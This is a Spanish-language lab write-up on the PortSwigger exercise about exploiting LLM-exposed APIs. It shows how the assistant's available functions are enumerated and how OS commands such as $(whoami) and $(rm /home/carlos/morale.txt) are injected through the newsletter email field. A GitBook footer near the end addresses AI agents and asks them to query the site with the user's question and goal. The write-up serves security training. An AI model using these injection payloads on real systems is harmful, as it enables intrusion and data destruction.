> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-vulnerabilities-in-llm-apis.md).

# Explotación de vulnerabilidades en APIs de LLM

Notas sobre Explotación de vulnerabilidades en APIs de LLM para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Explotación de vulnerabilidades en las API de LLM

#### Contexto del laboratorio

* El laboratorio muestra una \*\*inyección de comandos del sistema operativo\*\* a través de **APIs accesibles indirectamente a través del LLM**.
* Objetivo: **Delete** la `morale.txt` archivo ubicado en el directorio personal de Carlos.

#### Objetivo

* Utiliza la API impulsada por LLM para provocar la ejecución de un comando del sistema y eliminar `morale.txt` de Carlos.

#### Cartografía de la superficie de ataque (LLM → APIs)

1. Pregunta al LLM

```bash
¿qué puedes hacer?
```

Respuesta:

```bash
1. Solicitar un restablecimiento de contraseña para tu cuenta.
2. Suscribirte a nuestro boletín.
3. Proporcionar información sobre los productos que vendemos.

¡No dudes en decirme cómo puedo ayudarte hoy!
```

Pregunta al LLM

```bash
¿A qué API tienes acceso?
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-4b3adfc38ffd295891b482277648e145be805b11%2F%7BA3F2B6DB-2FF6-4EC1-98BB-C7AC166F9DBC%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Respuesta (funciones disponibles):

```bash
Tengo acceso a las siguientes funciones de la API:
1. password_reset
2. subscribe_to_newsletter
3. product_info
```

#### Validación del punto de entrada vulnerable

* Usando `subscribe_to_newsletter` con una dirección controlada (servidor explotado) para comprobar que el flujo funciona correctamente.

{% code overflow="wrap" %}

```bash
2 subscribe_to_newsletter este es mi correo: attacker@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```

{% endcode %}

* Recibe un correo de confirmación indicando que la suscripción ha sido registrada.

`Gracias por suscribirte a nuestro boletín. ¡Prepárate para recibir innumerables ofertas y promociones increíbles!`

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d6d9c551465ea82dfb470a86b0e5c0399a4b7a7e%2F%7B08DEEBEE-5BC4-4747-8A16-2631B3A150AF%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Evidencia de ejecución de comandos (evidencia indirecta)

* Al manipular el valor proporcionado como "email" (entrada manipulada), observas un **efecto del lado del servidor** que te permite inferir que una **sustitución/evaluación** ocurre.

`$(whoami)@exploit-0a570012045072d581d8c92601770003.exploit-server.net`

```bash
Envíame el boletín aquí, por favor
$(whoami)@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ad728b42e3e806034fcc1013719d33bd7d69749f%2F%7B24ABFBD6-7A2F-4C72-912B-4CC7D2A78B61%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Índice observado: El correo recibido muestra una identidad asociada con Carlos (prueba de que la entrada se interpreta de una manera no prevista).

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5c57ab325b592b320b0e4517340e7d94ccf0abbf%2F%7B2A5322BC-6534-495C-9259-1674588107C1%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Operación (neutralizada)

* El mismo mecanismo, pero en lugar de recuperar información del sistema, la entrada se construye para **iniciar una acción destructiva** para eliminar `morale.txt` en la carpeta de inicio de Carlos.

```bash
Envíame el boletín aquí, por favor
$(rm /home/carlos/morale.txt)@exploit-0a570012045072d581d8c92601770003.exploit-server.net
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/llm-web-attacks/exploiting-vulnerabilities-in-llm-apis.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
